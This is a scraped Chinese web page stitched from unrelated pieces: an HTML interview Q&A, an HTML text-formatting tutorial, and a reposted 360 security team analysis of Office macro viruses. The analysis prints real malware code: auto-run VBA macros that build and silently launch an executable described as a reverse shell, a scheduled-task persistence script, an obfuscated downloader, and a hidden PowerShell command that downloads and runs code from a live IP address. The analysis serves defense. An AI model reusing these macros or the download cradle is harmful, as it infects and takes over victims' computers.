众号【传智播客博学谷】回复关键词:前端 PS Java(100G) Python(80G) 大数据 区块链 测试 PPT JS(40g+300教程) HTML 简历 领取相关学习资料!
一、HTML
1、<image>标签上title属性与alt属性的区别是什么?
alt属性是为了给那些不能看到你文档中图像的浏览者提供文字说明的。且长度必须少于100个英文字符或者用户必须保证替换文字尽可能的短。
这包括那些使用本来就不支持图像显示或者图像显示被关闭的浏览器的用户,视觉障碍的用户和使用屏幕阅读器的用户等。
title属性为设置该属性的元素提供建议性的信息。使用title属性提供非本质的额外信息。参考《alt和title属性的区别及应用》
2、分别写出以下几个HTML标签:文字加粗、下标、居中、字体
加粗:<b>、<strong>
下标:<sub>
居中:<center>
字体:<font>、<basefont>、参考《HTML标签列表》
3、请写出至少5个html5新增的标签,并说明其语义和应用场景
section:定义文档中的一个章节
nav:定义只包含导航链接的章节
header:定义页面或章节的头部。它经常包含 logo、页面标题和导航性的目录。
footer:定义页面或章节的尾部。它经常包含版权信息、法律信息链接和反馈建议用的地址。
aside:定义和页面内容关联度较低的内容——如果被删除,剩下的内容仍然很合理。
参考《HTML5 标签列表》
4、请说说你对标签语义化的理解?
a. 去掉或者丢失样式的时候能够让页面呈现出清晰的结构
b. 有利于SEO:和搜索引擎建立良好沟通,有助于爬虫抓取更多的有效信息:爬虫依赖于标签来确定上下文和各个关键字的权重;
c. 方便其他设备解析(如屏幕阅读器、盲人阅读器、移动设备)以意义的方式来渲染网页;
d. 便于团队开发和维护,语义化更具可读性,遵循W3C标准的团队都遵循这个标准,可以减少差异化。
5、Doctype作用? 严格模式与混杂模式如何区分?它们有何意义?
声明位于文档中的最前面,处于 标签之前。告知浏览器以何种模式来渲染文档。
严格模式的排版和 JS 运作模式是,以该浏览器支持的最高标准运行。
在混杂模式中,页面以宽松的向后兼容的方式显示。模拟老式浏览器的行为以防止站点无法工作。
DOCTYPE不存在或格式不正确会导致文档以混杂模式呈现。
6、你知道多少种Doctype文档类型?
标签可声明三种 DTD 类型,分别表示严格版本、过渡版本以及基于框架的 HTML 文档。
HTML 4.01 规定了三种文档类型:Strict、Transitional 以及 Frameset。
XHTML 1.0 规定了三种 XML 文档类型:Strict、Transitional 以及 Frameset。
Standards (标准)模式(也就是严格呈现模式)用于呈现遵循最新标准的网页,
Quirks(包容)模式(也就是松散呈现模式或者兼容模式)用于呈现为传统浏览器而设计的网页。
7、HTML与XHTML——二者有什么区别
a. XHTML 元素必须被正确地嵌套。
b. XHTML 元素必须被关闭。
c. 标签名必须用小写字母。
d. XHTML 文档必须拥有根元素。
参考《XHTML 与 HTML 之间的差异》
8、html5有哪些新特性、移除了那些元素?
a. HTML5 现在已经不是 SGML 的子集,主要是关于图像,位置,存储,多任务等功能的增加。
b. 拖拽释放(Drag and drop) API
c. 语义化更好的内容标签(header,nav,footer,aside,article,section)
d. 音频、视频API(audio,video)
e. 画布(Canvas) API
f. 地理(Geolocation) API
g. 本地离线存储 localStorage 长期存储数据,浏览器关闭后数据不丢失
h. sessionStorage 的数据在页面会话结束时会被清除
i. 表单控件,calendar、date、time、email、url、search
j. 新的技术webworker, websocket等
移除的元素:
a. 纯表现的元素:basefont,big,center, s,strike,tt,u;
b. 对可用性产生负面影响的元素:frame,frameset,noframes;
9、iframe的优缺点?
优点:
a. 解决加载缓慢的第三方内容如图标和广告等的加载问题
b. iframe无刷新文件上传
c. iframe跨域通信
缺点:
a. iframe会阻塞主页面的Onload事件
b. 无法被一些搜索引擎索引到
c. 页面会增加服务器的http请求
d. 会产生很多页面,不容易管理。
参考《iframe的一些记录》
10、Quirks模式是什么?它和Standards模式有什么区别?
在写程序时我们也会经常遇到这样的问题,如何保证原来的接口不变,又提供更强大的功能,尤其是新功能不兼容旧功能时。IE6以前的页面大家都不会去写DTD,所以IE6就假定 如果写了DTD,就意味着这个页面将采用对CSS支持更好的布局,而如果没有,则采用兼容之前的布局方式。这就是Quirks模式(怪癖模式,诡异模式,怪异模式)。
区别:总体会有布局、样式解析和脚本执行三个方面的区别。
a. 盒模型:在W3C标准中,如果设置一个元素的宽度和高度,指的是元素内容的宽度和高度,而在Quirks 模式下,IE的宽度和高度还包含了padding和border。
b. 设置行内元素的高宽:在Standards模式下,给等行内元素设置wdith和height都不会生效,而在quirks模式下,则会生效。
c. 设置百分比的高度:在standards模式下,一个元素的高度是由其包含的内容来决定的,如果父元素没有设置百分比的高度,子元素设置一个百分比的高度是无效的用
d. 设置水平居中:使用margin:0 auto在standards模式下可以使元素水平居中,但在quirks模式下却会失效。
11、请阐述table的缺点
a. 太深的嵌套,比如table>tr>td>h3,会导致搜索引擎读取困难,而且,最直接的损失就是大大增加了冗余代码量。
b. 灵活性差,比如要将tr设置border等属性,是不行的,得通过td
c. 代码臃肿,当在table中套用table的时候,阅读代码会显得异常混乱
d. 混乱的colspan与rowspan,用来布局时,频繁使用他们会造成整个文档顺序混乱。
e. 不够语义
参考《为什么说table表格布局不好?》
12、简述一下src与href的区别
src用于替换当前元素;href用于在当前文档和引用资源之间确立联系。
src是source的缩写,指向外部资源的位置,指向的内容将会嵌入到文档中当前标签所在位置
href是Hypertext Reference的缩写,指向网络资源所在位置,建立和当前元素(锚点)或当前文档(链接)之间的链接
公众号【传智播客博学谷】回复关键词:前端 PS Java Python 大数据 区块链 测试 PPT JS HTML 简历 领取相关学习资料!
HTML文本格式化通常使用一系列特定的标签来改变文本的外观或结构。这些标签可以控制文本的字体、大小、颜色、对齐方式等,也可以用来标记文本的逻辑结构(如段落、标题、列表等)。除了这些基本的格式化标签,HTML还支持通过CSS(级联样式表)来更精细和灵活地控制文本的格式和样式。
参考文档:https://www.cjavapy.com/article/3306/
HTML中,文本格式化和结构化主要通过一系列标签来完成,其中标题(Headings)标签是最常用于定义文本格式的元素之一。HTML提供了六级标题标签,从 <h1> 到 <h6>,<h1> 表示最高级别的标题,而 <h6> 表示最低级别的标题。这些标题标签不仅帮助改善网页的结构和可读性,还对搜索引擎优化(SEO)至关重要,因为搜索引擎使用这些标签来识别网页上的不同部分和内容的层次结构。每个级别的标题都有默认的样式,通常是不同的大小和加粗,以显示它们的层次结构
<h1>这是一个 H1 标题</h1>
<h2>这是一个 H2 标题</h2>
<h3>这是一个 H3 标题</h3>
<h4>这是一个 H4 标题</h4>
<h5>这是一个 H5 标题</h5>
<h6>这是一个 H6 标题</h6>
HTML中,文本格式化通常涉及使用特定的标签来控制文本的显示方式。段落和换行是两个基本但非常重要的文本格式化概念。用<p>创建段落,<br>插入换行。
1)段落 (<p> 标签)
<p> 标签自带上下边距,用以区分不同的段落。
<p>这是一个段落。</p>
<p>这是另一个段落。</p>
2)换行 (<br> 标签)
<br> 标签只是简单地添加一个换行点,不添加任何额外的空间或边距,并且通常用于诗歌或地址等需要精确控制换行位置的文本。
这是文本行的开始。<br>这是新的一行,但在同一个段落内。
使用<em>和<strong>强调文本。HTML中,强调文本通常使用 <em> 和 <strong> 标签来实现。这两个标签既有语义意义,也影响文本的表现形式。
<em> 标签用于表示强调文本,通常表现为斜体,用以表示文本的轻度强调。
<strong> 标签用于表示更强烈的强调,通常表现为加粗,表示文本的高度强调。
<p>This is <em>emphasized</em> text.</p>
<p>This is <strong>strongly emphasized</strong> text.</p>
HTML 提供了两种主要的列表类型:有序列表(<ol>)和无序列表(<ul>)。两种类型都使用列表项(<li>)来定义列表中的实际项。
1)有序列表
有序列表以 <ol> 标签开始。每个列表项都放在 <li> 标签内。列表是有序的,也就是每个项目都是编号的。这适用于项目顺序很重要的列表,如食谱或待办事项列表。
<ol>
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>
2)无序列表
无序列表以 <ul> 标签开始。像有序列表一样,每个项都放在 <li> 标签内。然而,无序列表中的项目不是编号的。使用圆点符号进行表示。这适用于项目顺序不重要的列表,如购物清单。
<ul>
<li>苹果</li>
<li>香蕉</li>
<li>橙子</li>
</ul>
<!DOCTYPE html>
<html>
<head>
<title>文本格式化示例</title>
</head>
<body>
<h1>HTML 文本格式化</h1>
<p>这是一个<em>斜体</em>和<strong>加粗</strong>的示例。</p>
<p><u>这段文本下划线</u>和<s>这段文本是删除线</s>。</p>
<p>化学水分子公式为H<sub>2</sub>O,E=mc<sup>2</sup>。</p>
<pre>
这是预格式化文本,
保留了空格和
换行符。
</pre>
<blockquote>这是一个长引用的示例,可能包含多个段落。</blockquote>
<p>这是一个<q>短引用</q>的示例。</p>
<p>使用<code>HTML</code>和<code>CSS</code>进行网页设计。</p>
<p>按<kbd>Ctrl</kbd> + <kbd>C</kbd>复制文本。</p>
<p><samp>这是计算机程序的输出。</samp></p>
<p>在JavaScript中,<var>x</var>可以作为变量。</p>
</body>
</html>
参考文档:https://www.cjavapy.com/article/3306/
作为一类古老的病毒,宏病毒随着勒索软件的兴起而卷土重来。尤其是在2016年,以Locky为代表的勒索软件利用Office宏肆虐传播,宏病毒也成为目前最活跃的病毒品种之一。
在与安全软件的对抗中,宏病毒使用了多种手段隐藏其恶意代码或数据,近期出现的新变种则是利用Excel表格的函数动态生成PE文件数据、设置远距离存放位置、隐藏显示、不同表切换等方式进行隐藏。接下来,360QEX引擎团队将对宏病毒代码流行的三类“隐身术”进行逐一揭秘。
virustotal 扫描结果:
样本对自身 VBAProject 进行了加密,
破解之后,看到了宏代码执行入口函数 Auto_Open,
Sub Auto_Open() On Error Resume Next Application.DisplayAlerts = False Dim WB As Workbook Set WB = ActiveWorkbook Dim Sh1, Sh2, sh3 As Worksheet Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) Set sh3 = WB.Sheets(3) Dim str As String str = Sh2.Cells(996, 40) Dim t As Date t = Now + TimeSerial(0, 0, 1) Application.OnTime t, str End Sub
病毒作者使用 Application.OnTime 函数,间隔 1 秒,执行 字符串 “str” ,”str” 的值是从表格 Cells(996, 40) 中获取,当去查看表格中该处值时发现病毒更改了Excel单元格格式 ,把数据隐藏显示。
单元格格式设置为三个 ;;; 时,单元格内容就会被隐藏。
单元格的格式默认是显示的,初始设置为,
去掉隐藏后,查看表格中该值是 Fnslr12 , 即病毒的功能入口函数名称,函数代码为,
Sub Fnslr12() On Error Resume Next Application.DisplayAlerts = False Call Build Sheets(1).Select Dim WB As Workbook Set WB = ActiveWorkbook Dim Sh1, Sh2, sh3 As Worksheet Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) If Cells(2, 1) <> "" Then GoTo skyhigh End If ''' 以下省略
因此,该函数为病毒代码的主功能函数。
此函数的功能有,
1、Call Build
调用 Build 函数, Build 函数功能为:在表格中动态生成,待写入 可执行文件(pe文件)所需的数据,其功能代码简略如下,
Sub Build() Sheets(2).Select Set WB = ActiveWorkbook Set Sh1 = WB.Sheets(1) Set Sh2 = WB.Sheets(2) 'bob location i = Sh2.Cells(1000, 12) j = Sh2.Cells(1000, 13) 'index table location R = Sh2.Cells(1000, 10) C = Sh2.Cells(1000, 11) Counter = R Do While Sh2.Cells(Counter, C) <> "" If Sh2.Cells(Counter, C + 1) <> "" Then S1 = Sh2.Cells(Counter, C) S2 = Sh2.Cells(Counter, C + 1) End If Counter = Counter + 1 Loop Cells(i, j).Select Range(Selection, Selection.End(xlDown)).Select Selection.Cut Range("i1001").Select ActiveSheet.Paste Cells(1, 1).Select End Sub
函数运行结果为,在 1001 行往下,依次每行填入数据。
2、对是否运行过一次做检查
If Cells(2, 1) <> "" Then GoTo skyhigh End If
当运行过一次之后, Cells(2,1) 表格会被写入值,会在这里进入语句 Then ,执行 “Goto skyhigh” 语句, “skyhigh” 标记定位在函数尾部,即执行该语句后会退出该函数。
3
从代码意图猜测,病毒作者想在 %userprofile% AppDataRoamingMicrosoftTemplates 生成一个名为Macro1.vbs 的vbs文件 ,
Dim Fnslr1 As String Dim Fnslr2 As String Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplatesMacro1.vbs" ChDrive (Fnslr2) If Dir(Fnslr2) = "" Then Else End If
其中,病毒拼凑生成文件的目录路径时,从表格 2 的Cells(998, 40) 中读取 ,该值为环境变量值 userprofile.
只是,病毒作者并没有继续完善相关代码。实际测试运行样本也并没有生成该文件,猜测可能作者后续加入该功能,或者该功能已经被取消。
4
在 %serprofile% AppDataRoamingMicrosoftTemplates 目录生成可执行文件 Macro1.exe,
Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile() Open Fnslr1 For Binary As Fnslr3 Do While Sh2.Cells(i, 9) <> "" Fnslr11 = Sh2.Cells(i, 9) If (Fnslr9 = True) Then Fnslr8 = 1 Do While (Fnslr8 < Len(Fnslr11)) Fnslr6 = Sh2.Cells(997, 40) & Mid(Fnslr11, Fnslr8, 3) Put #Fnslr3, , Fnslr6 Fnslr8 = Fnslr8 + 3 Loop End If If Fnslr9 = False Then Fnslr9 = True End If i = i + 1 Loop Close #Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell(Fnslr10, vbHide) Dim i As Double i = 1000 Fnslr1 = "Macro1.exe" Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Fnslr3 = FreeFile() Open Fnslr1 For Binary As Fnslr3 Do While Sh2.Cells(i, 9) <> "" Fnslr11 = Sh2.Cells(i, 9) If (Fnslr9 = True) Then Fnslr8 = 1 Do While (Fnslr8 < Len(Fnslr11)) Fnslr6 = Sh2.Cells(997, 40) & Mid(Fnslr11, Fnslr8, 3) Put #Fnslr3, , Fnslr6 Fnslr8 = Fnslr8 + 3 Loop End If If Fnslr9 = False Then Fnslr9 = True End If i = i + 1 Loop Close #Fnslr3 Dim Fnslr10 As String Fnslr10 = Fnslr1 Fnslr7 = Shell(Fnslr10, vbHide)
写入 Macro1.exe 所需的数据,从 Excel 表格中 Cells(997, 40) 周围读取,实际测试数据开始位置是 1001行,
代码尾部使用 Shell 函数,启动生成的 Macro1.exe 。
文件信息
可执行文件是 x64位的,功能是,启动 powershell 附带 –enc 参数,执行一段 shellcode ,这段 shellcode是一个 reverse shell ,连接黑客服务器,等待下达命令。
此部分与下面创建计划任务不间断运行的功能呼应起来,此部分不是本文重点,不再详述。
5、
在 %serprofile% AppDataRoamingMicrosoftTemplates 目录生成 bat (cmd) 批处理脚本文件 Macro1.bat,
Fnslr2 = Environ(Sh2.Cells(998, 40)) & "AppDataRoamingMicrosoftTemplates" Dim User As String User = Environ(Sh2.Cells(998, 40)) Fname = Fnslr2 & "Macro1.bat" FNum = FreeFile Open Fname For Output Access Write As #FNum WholeLine = "SchTasks /Create /SC HOURLY /TN " & Sh2.Cells(1000, 3) & "Macro1" & Sh2.Cells(1000, 3) & " /TR" & " " & User & "AppDataRoamingMicrosoftTemplates" & "Macro1.exe /ST 01:00" Print #FNum, WholeLine Close #FNum Dim TempFileName As String TempFileName = Fnslr2 & "Macro1.bat" Shell TempFileName, vbHide
尾部使用 Shell 函数 启动该脚本,结果是在用户机器创建了一个计划任务, 每隔一小时运行一次 上面生成的 Macro1.exe 。
6、弹窗显示输入密码才能继续进行运行
pword = InputBox("Please enter a password to proceed", "Password Required", "*******") Select Case pword Case Is = "" MsgBox "Try Again" Case "Alon2016" RP = 1 Case Is <> "Alon2016" MsgBox "Try Again" End Select
从病毒代码中知道,要求输入的密码是 “Alon2016” 。
7、
接下来是现场清理和掩饰,删除调用Build 函数在表格生成的数据,在表格的开头显著位置填入在其他表格中保存的邮件收件人地址信息,
小结:该样本的特别之处有:
此类病毒把部分代码隐藏到 VBA 工程中的 用户控件(User Form)中,甚至把带有代码的控件最小化,使之不易被看到。
virustotal 扫描结果:
查看该文件的宏,
此文件看起来像是正常的SQL操作类的宏代码,但是当我们查看窗体 Ultra 时发现,
有个控件的Caption中存放了可疑数据如下,
D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)hendib00.00x00
此数据在宏代码中被使用的位置为,
CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
其中,CadenaCurrency 是一个简单的 Replace 调用,
Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String CadenaCurrency = Replace(A1, A2, A3) End Function
解密方法是,
Dim aproblems As String aproblems = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e") aproblems = CadenaCurrency(aproblems, "D!", "M") aproblems = CadenaCurrency(aproblems, "bri", "s") constans_problems = Split(aproblems, "10)")
解密为,
Microsoft.XMLHTTP Adodb.stream shell.Application Wscript.shell Process GeT Temp Type open write responseBody savetofile hendibe.exe
几个字符串呈现出非常明显的意图,下载(Microsoft.XMLHTTP)+ 写文件(Adodb.stream)+ 执行(shell.Application / Wscript.shell)。
此样本因为代码有问题,没能成功运行起来。找到宏代码中使用 Microsoft.XMLHTTP 对象下载文件的位置,加上断点调试,起先因为作者疏忽,忘记书写一个双引号,导致编译失败,
之后,运行到下载文件处时,出现了报错。
此类病毒把代码核心恶意部分放入文档的内建属性中。
virustotal 扫描结果:
此样本的vba 宏代码只有1个文件,很简短,
Attribute VB_Name = "NewMacros" Sub Auto_Open() Call winshell End Sub Sub AutoOpen() Call winshell End Sub Function winshell() As Object On Error Resume Next Err.Clear Dim ps As String ps = ActiveDocument.BuiltInDocumentProperties("Manager").Value Dim Obj As Object Set Obj = CreateObject("WScript.Shell") Obj.Run ps, 0 Application.DisplayAlerts = False End Function
响应两个文档打开事件,AutoOpen 与Auto_Open,直接执行 winshell函数, winshell函数读取文件内建属性,Manager 的值,直接执行起来。Manager值,我们使用右键文件属性,查看为,
powershell.exe -nop -w hidden -c $b=new-object net.webclient;$b.proxy=[Net.WebRequest]::GetSystemWebProxy();$b.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $b.downloadstring('http://37.28.154.204:8081/ygklKbyIVG51Kol');
是一段 Powershell 执行的脚本代码,从指定 URL (http://37.28.154.204:8081/ygklKbyIVG51Kol) 下载文件。目前测试此URL已经无法访问。
以加密勒索为代表的病毒,越来越多的使用Office宏,js,vbs等非Pe文件来传播。通过脚本代码动态向Windows 目录中释放可执行文件或者从服务器下载可执行文件。
非PE病毒查杀引擎QEX是 360安全产品中负责查杀宏病毒及vbs、js、html等脚本病毒的独有引擎。上述样本QEX引擎均已查杀。
在这里也提醒 Microsoft Office 文档系列软件的使用用户,
原创文章,作者:Drops,转载自:http://www.mottoin.com/tech/115043.html,有删减
*请认真填写需求信息,我们会在24小时内与您取得联系。